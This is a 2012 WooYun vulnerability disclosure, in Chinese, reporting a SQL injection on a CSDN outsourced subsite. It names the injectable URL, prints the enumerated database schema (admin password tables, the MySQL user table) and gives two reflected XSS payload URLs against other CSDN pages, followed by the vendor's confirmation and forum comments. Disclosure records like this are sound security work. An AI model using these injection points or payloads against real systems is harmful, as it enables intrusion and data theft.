当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-07937

漏洞标题：CSDN某站存在安全隐患，ROOT权限，部分数据存在明文存储。

相关厂商：CSDN开发者社区

漏洞作者： zeracker

提交时间：2012-06-06 12:33

修复时间：2012-07-21 12:34

公开时间：2012-07-21 12:34

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-06-06： 细节已通知厂商并且等待厂商处理中
2012-06-06： 厂商已经确认，细节仅向厂商公开
2012-06-16： 细节向核心白帽子及相关领域专家公开
2012-06-26： 细节向普通白帽子公开
2012-07-06： 细节向实习白帽子公开
2012-07-21： 细节向公众公开

简要描述：

昨天晚上在群里聊完后，灵感就来了，打开一个链接就是注入啊。
感觉挺好的，但是也挺遗憾的，同样也是互联网圈子里很遗憾的事情。
这个站点的数据相对来说还算比较主要的，主要是这些数据都是中国互联网应用的希望！
没想到，CSDN管理员口令也是明文存储。不敢相信。。
只测试下漏洞是否存在，其他的动作，我是不会做的。
root权限，内网几台服务器全都暴漏了。。
再附送XSS两枚，之前在乌云提交过，未审核噢。
无语问苍天，怎么数据库中都存有很多台服务器？？真是想不通。。。
囧o(╯□╰)o。。。。据说，CSDN是找过阿里，安恒做过安全的。o(╯□╰)o。。
我想蒋涛前辈，应该不会怪我，希望能够推动国内信息安全事业的发展。
唯有凭蚁群之力来推动国内信息安全，（打个广告）工业控制系统安全，这个大轱辘。（借cert何工的话。）
亲们，重视好安全吧？？
感谢乌云，感谢各种帮助过我的大哥们。
相关新闻
http://finance.sina.com.cn/roll/20111231/081511108998.shtml
对于黑客来说，进入这个圈子当然并不意味着一条路走到黑。你也有机会选择做白帽子。虽然不像黑帽子那么赚钱，但是
在国外，一些以寻找并解决漏洞为主业的公司已经过上了体面的生活，并且建立了成功的的运营模式。他们仍然是白帽子
，并且成为业内的明星。
　　但是在国内，这样的对垒似乎才刚刚开始。据“剑心”透露，国内的整体环境远不如国外好，目前的白帽子都是零星
存在的，类似乌云的平台开始将这股力量集结起来。“从此次泄露事件开始，白帽子无疑会被更多地认识，体现出更大的
价值。”
-------------------------------------------------------------------
国内互联网企业面临选择：合作还是裸奔
http://finance.sina.com.cn/chanjing/cyxw/20120116/095711210900.shtml
　国内网站的态度则截然不同。
　　一方面，由于沟通渠道的缺乏，“白帽子”即使发现了漏洞也很难将信息传递给网站，而网站也根本无法顾及散落在
互联网各地的漏洞信息，最终导致一些漏洞被人遗忘，未得到修复而造成损失。
　　另外一方面，一些网站对漏洞研究者的报告也很不尊重，甚至是一种轻视的态度。绿盟科技一位不愿具名的网络安全
专家说：“大部分公司的第一反应往往是把事情摁下去，第一不能出丑，第二不能出事。”CSDN董事长蒋涛承认过去并不
在意漏洞发布，“将来各网站应与类似乌云网的漏洞发布平台合作，安全界与技术界不应隔离。”
--------------------------------------
瞧瞧带头大哥。O(∩_∩)O哈哈~
该企业架构师去年由于在乌云网发布了一条小米网的安全漏洞，小米公司赠送了他一部小米手机(微博)以示谢意，这让他
深感满意。实际上，在国内，即使有些网站对“白帽子”的态度会好一些，为漏洞提供者送些小礼物，但相对“白帽子”
花费不少精力找到的漏洞来说，这点激励也算不上什么。
---------------------------------------------------------------------------------
最后，想说的是，希望蒋涛前辈别怪我。。
By:301 zeracker

详细说明：

昨天晚上在群里聊完后，灵感就来了，打开一个链接就是注入啊。
感觉挺好的，但是也挺遗憾的，同样也是互联网圈子里很遗憾的事情。
这个站点的数据相对来说还算比较主要的，主要是这些数据都是中国互联网应用的希望！
没想到，CSDN管理员口令也是明文存储。不敢相信。。
只测试下漏洞是否存在，其他的动作，我是不会做的。
root权限，内网几台服务器全都暴漏了。。
无语问苍天，怎么数据库中都存有很多台服务器？？真是想不通。。。
囧o(╯□╰)o。。。。
我想蒋涛前辈，应该不会怪我，希望能够推动国内信息安全事业的发展。
唯有凭蚁群之力来推动国内信息安全，（打个广告）工业控制系统安全，这个大轱辘。（借cert何工的话。）
亲们，重视好安全吧？？
感谢乌云，感谢各种帮助过我的大哥们。
相关新闻
http://finance.sina.com.cn/roll/20111231/081511108998.shtml
对于黑客来说，进入这个圈子当然并不意味着一条路走到黑。你也有机会选择做白帽子。虽然不像黑帽子那么赚钱，但是
在国外，一些以寻找并解决漏洞为主业的公司已经过上了体面的生活，并且建立了成功的的运营模式。他们仍然是白帽子
，并且成为业内的明星。
　　但是在国内，这样的对垒似乎才刚刚开始。据“剑心”透露，国内的整体环境远不如国外好，目前的白帽子都是零星
存在的，类似乌云的平台开始将这股力量集结起来。“从此次泄露事件开始，白帽子无疑会被更多地认识，体现出更大的
价值。”
-------------------------------------------------------------------
国内互联网企业面临选择：合作还是裸奔
http://finance.sina.com.cn/chanjing/cyxw/20120116/095711210900.shtml
　国内网站的态度则截然不同。
　　一方面，由于沟通渠道的缺乏，“白帽子”即使发现了漏洞也很难将信息传递给网站，而网站也根本无法顾及散落在
互联网各地的漏洞信息，最终导致一些漏洞被人遗忘，未得到修复而造成损失。
　　另外一方面，一些网站对漏洞研究者的报告也很不尊重，甚至是一种轻视的态度。绿盟科技一位不愿具名的网络安全
专家说：“大部分公司的第一反应往往是把事情摁下去，第一不能出丑，第二不能出事。”CSDN董事长蒋涛承认过去并不
在意漏洞发布，“将来各网站应与类似乌云网的漏洞发布平台合作，安全界与技术界不应隔离。”
--------------------------------------
瞧瞧带头大哥。O(∩_∩)O哈哈~
该企业架构师去年由于在乌云网发布了一条小米网的安全漏洞，小米公司赠送了他一部小米手机(微博)以示谢意，这让他
深感满意。实际上，在国内，即使有些网站对“白帽子”的态度会好一些，为漏洞提供者送些小礼物，但相对“白帽子”
花费不少精力找到的漏洞来说，这点激励也算不上什么。
---------------------------------------------------------------------------------
最后，想说的是，希望蒋涛前辈别怪我。。
By:301 zeracker
------------------------------------------------------------------

http://dati.csdn.net/blackberry/content.php?id=1


blackberry
Table Name	Columns
black_member	black_id black_csdnid black_name black_phone black_email black_school black_depart black_team black_pos black_time
blackberry_news	news_id news_title news_link news_type news_excerpt news_content news_time
postion	pos_id pos_author pos_name pos_type pos_use pos_logo pos_file pos_dis
information_schema
Table Name	Columns
biz_csdn
Table Name	Columns
moto_database	moto_id moto_name moto_phone moto_email moto_yyname moto_yydis moto_url moto_select moto_checkbox csdn_id
challenge
Table Name	Columns
chall_admin	id name password
chall_news	
composition	
member	id name email phone address csdn_id time com_type
review	id rev_com_id rev_content rev_peo_id rev_time
ticket_record	id tic_who_id tic_com_id tic_time
ibm_challenge
Table Name	Columns
ibm_sign	
invite
Table Name	Columns
admin	id name password
company	id service name intro address url connect phone telephone fax email date status
content	
mysql
Table Name	Columns
columns_priv	
db	
event	
func	
general_log	
help_category	
help_keyword	
help_relation	
help_topic	
host	
ndb_binlog_index	
plugin	
proc	
procs_priv	
servers	
slow_log	
tables_priv	
time_zone	
time_zone_leap_second	
time_zone_name	
time_zone_transition	
time_zone_transition_type	
user	Host User Password Select_priv Insert_priv Update_priv Delete_priv Create_priv Drop_priv Reload_priv Shutdown_priv Process_priv File_priv Grant_priv References_priv Index_priv Alter_priv Show_db_priv Super_priv Create_tmp_table_priv Lock_tables_priv Execute_priv Repl_slave_priv Repl_client_priv Create_view_priv Show_view_priv Create_routine_priv Alter_routine_priv Create_user_priv Event_priv Trigger_priv ssl_type ssl_cipher x509_issuer x509_subject max_questions max_updates max_connections max_user_connections
qt
Table Name	Columns
qt_member	qt_mid qt_mname qt_memail qt_mrealname qt_mphone qt_mcompany qt_mtype qt_mteam qt_mtime
qt_news	
qt_position	
question
Table Name	Columns
samsung_match
Table Name	Columns
shop1
Table Name	Columns
ecs1_account_log	
ecs1_ad	
ecs1_ad_custom	
ecs1_ad_position	
ecs1_admin_action	
ecs1_admin_log	
ecs1_admin_message	
ecs1_admin_user	user_id user_name email password ec_salt add_time last_login last_ip action_list nav_list lang_type agency_id suppliers_id todolist role_id
ecs1_adsense	
ecs1_affiliate_log	
ecs1_agency	
ecs1_area_region	
ecs1_article	
ecs1_article_cat	
ecs1_attribute	
ecs1_auction_log	
ecs1_auto_manage	
ecs1_back_goods	
ecs1_back_order	
ecs1_bonus_type	
ecs1_booking_goods	
ecs1_brand	
ecs1_card	
ecs1_cart	
ecs1_cat_recommend	
ecs1_category	
ecs1_collect_goods	
ecs1_comment	
ecs1_crons	
ecs1_delivery_goods	
ecs1_delivery_order	
ecs1_email_list	
ecs1_email_sendlist	
ecs1_error_log	
ecs1_exchange_goods	
ecs1_favourable_activity	
ecs1_feedback	
ecs1_friend_link	
ecs1_goods	
ecs1_goods_activity	
ecs1_goods_article	
ecs1_goods_attr	
ecs1_goods_cat	
ecs1_goods_gallery	
ecs1_goods_type	
ecs1_group_goods	
ecs1_keywords	
ecs1_link_goods	
ecs1_mail_templates	
ecs1_member_price	
ecs1_nav	
ecs1_order_action	
ecs1_order_goods	
ecs1_order_info	
ecs1_pack	
ecs1_package_goods	
ecs1_pay_log	
ecs1_payment	
ecs1_plugins	
ecs1_products	
ecs1_reg_extend_info	
ecs1_reg_fields	
ecs1_region	
ecs1_role	
ecs1_searchengin	
shop10
Table Name	Columns
shop2
Table Name	Columns
shop3
Table Name	Columns
shop4
Table Name	Columns
shop5
Table Name	Columns
shop6
Table Name	Columns
shop7
Table Name	Columns
shop8
Table Name	Columns
shop9
Table Name	Columns
ecs9_account_log	
ecs9_ad	
ecs9_ad_custom	
ecs9_ad_position	
ecs9_admin_action	
ecs9_admin_log	
ecs9_admin_message	message_id sender_id receiver_id sent_time read_time readed deleted title message
ecs9_admin_user	user_id user_name email password ec_salt add_time last_login last_ip action_list nav_list lang_type agency_id suppliers_id todolist role_id
ecs9_adsense	
ecs9_affiliate_log	
ecs9_agency	
ecs9_area_region	
ecs9_article	
ecs9_article_cat	
ecs9_attribute	
ecs9_auction_log	
ecs9_auto_manage	
ecs9_back_goods	
ecs9_back_order	
ecs9_bonus_type	
ecs9_booking_goods	
ecs9_brand	
ecs9_card	
ecs9_cart	
ecs9_cat_recommend	
ecs9_category	
ecs9_collect_goods	
ecs9_comment	
ecs9_crons	
ecs9_delivery_goods	
ecs9_delivery_order	
ecs9_email_list	
ecs9_email_sendlist	
ecs9_error_log	
ecs9_exchange_goods	
ecs9_favourable_activity	
ecs9_feedback	
ecs9_friend_link	
ecs9_goods	
ecs9_goods_activity	
ecs9_goods_article	
ecs9_goods_attr	
studentv3
Table Name	Columns
schoolinfo	
stu_event	
stu_logout	
stu_member	id schoolid username status realname college department professional interested_tech date_intake hometown qq dateline
stu_study_resource


http://hunter.csdn.net?no='"><script>alert(6828876);</script><"&ci=&mp=&da=&hy=&submit=
http://cto.csdn.net/Hot_Discuss.aspx?Name='"><script>alert(2801746);</script><"&pointid=5129







漏洞证明：





修复方案：

加强安全体系，不要使用弱口令。
加强信息安全管理培训
拒绝跨省，共同发展！
By:301 zeracker

版权声明：转载请注明来源 zeracker@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：3

确认时间：2012-06-06 12:55

厂商回复：

这个是找外包做的专区，确实存在漏洞，我们将尽快通知外包方修复。

最新状态：

2012-06-06：已经修复

漏洞评价：

评论

  1. 2012-06-06 12:36 | wanglaojiu ( 普通白帽子 | Rank:168 漏洞数:39 | 道生一，一生二，二生三，三生万物，万物负...)

    顶一个，此文必火。

  2. 2012-06-06 12:38 | 自由与精神 ( 路人 | Rank:30 漏洞数:5 | 缺乏精神力量，但我向往自由)

    囧o(╯□╰)o。。。。据说，CSDN是找过阿里，安恒做过安全的。o(╯□╰)o。。这个是在　数据库被公布后临时看了一下。。。知道太多内幕　不说太多了。。。

  3. 2012-06-06 12:41 | 自由与精神 ( 路人 | Rank:30 漏洞数:5 | 缺乏精神力量，但我向往自由)

    囧o(╯□╰)o。。。。据说，CSDN是找过阿里，安恒做过安全的。o(╯□╰)o。。　这个应该这么说　这个应该是在　数据库被公布后　。。具体怎么做的安全　问上面二家了。。　（修正上面的话，我可不想惹上麻烦）

  4. 2012-06-06 12:46 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    长篇。。。支持！

  5. 2012-06-06 12:50 | goderci ( 普通白帽子 | Rank:542 漏洞数:47 | http://www.yunday.org)

    顶洞主！洞主辛苦了！

  6. 2012-06-06 12:54 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    顶洞主 简介就写这么多 当博客了呀 呵呵

  7. 2012-06-06 12:54 | FlyR4nk ( 普通白帽子 | Rank:119 漏洞数:18 )

    非常有感的文章。

  8. 2012-06-06 12:56 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    @wanglaojiu @自由与精神 @自由与精神 @gainover @goderci @possible @FlyR4nk 不写这么多，我会出事的。所以希望各位洞友，力挺。

  9. 2012-06-06 12:57 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    NB。。。NB。。。我说的是数据。3点rank

  10. 2012-06-06 12:58 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    @zeracker 呵呵 没事了就好 rank 等着xsser给你补吧

  11. 2012-06-06 12:59 | FlyR4nk ( 普通白帽子 | Rank:119 漏洞数:18 )

    @zeracker csdn啊，太扯了

  12. 2012-06-06 13:01 | wanglaojiu ( 普通白帽子 | Rank:168 漏洞数:39 | 道生一，一生二，二生三，三生万物，万物负...)

    @zeracker 无语了，国人的专利都被外人拿来用了，果然又是临时工干的...

  13. 2012-06-06 13:01 | 百度(乌云厂商)

    你的速度太快了~~~~顶啊~~ 此贴火了

  14. 2012-06-06 13:03 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    @百度 感谢百度的贺电。 \(^o^)/~

  15. 2012-06-06 13:06 | FallenAngel ( 路人 | 还没有发布任何漏洞 | 啊喔呃咿呜喻。。0.0)

    换马甲顶~~~ 囧

  16. 2012-06-06 13:09 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    @FallenAngel 谢谢。

  17. 2012-06-06 13:09 | m4kar0f ( 路人 | Rank:0 漏洞数:1 | 我不是马卡洛夫，也不是恐怖头子，但是我很...)

    貌似找到注入点了，没发现多少数据。

  18. 2012-06-06 13:14 | 斯文的鸡蛋 ( 普通白帽子 | Rank:173 漏洞数:41 | 我在这头，你在那头~)

    潜水不潜水的都出来吧~为啥我觉得CSDN比淘宝还不靠谱？不用这些网站的飘过啊~

  19. 2012-06-06 13:17 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    在山的那边，海的那边，有一群外包的，他们活泼又聪明，他们调皮又灵敏，他们自由自在生活在，那安全的大森林～～ 啊，可爱的外包的～～

  20. 2012-06-06 13:20 | j14n ( 普通白帽子 | Rank:114 漏洞数:23 | 我是一只小小小小鸟....)

    @百度 哇塞 腾讯 会不会出来

  21. 2012-06-06 13:44 | 墨水心_Len ( 实习白帽子 | Rank:70 漏洞数:15 | PKAV技术宅 | 每一个有文化的东西，我们都...)

    力挺LZ！

  22. 2012-06-06 14:44 | 断七 ( 路人 | Rank:0 漏洞数:1 | 小心翼翼过2012。。。。)

    支持一下楼主， 我曾经看米特尼克介绍， 在国外一家做安全的公司， 做一次网络检测是W美元起的， 国内的环境就不说了。。

  23. 2012-06-06 14:46 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    @断七 国内就是一公关，二报警，三抓人，四，各种和谐。完全没尊重可言。

  24. 2012-06-06 15:08 | wanglaojiu ( 普通白帽子 | Rank:168 漏洞数:39 | 道生一，一生二，二生三，三生万物，万物负...)

    @断七 国外都是一种成熟的行业了，国内不当你是坏分子就谢天谢地了，呵呵

  25. 2012-06-06 15:49 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    可悲的国度，神奇的行业。

  26. 2012-06-06 17:16 | 小禾吉 ( 路人 | Rank:0 漏洞数:1 | 宇宙的目的很可能和人类没有关系，宇宙很可...)

    你可以出书了！

  27. 2012-07-07 08:57 | knickers ( 路人 | Rank:11 漏洞数:6 | 偶是一个大帅哥)

    力挺楼主.........中国未来的希望

  28. 2012-07-09 11:39 | s1Ng4r ( 路人 | Rank:14 漏洞数:2 | runningm4n)

    0.0

  29. 2012-07-10 10:50 | 摩斯 ( 路人 | Rank:3 漏洞数:2 | 每天进步一点点！努力学习技术！)

    洞主大牛，。。

  30. 2012-07-21 13:09 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    此站安全 10分来说,只有 2 你信不信我信了。。。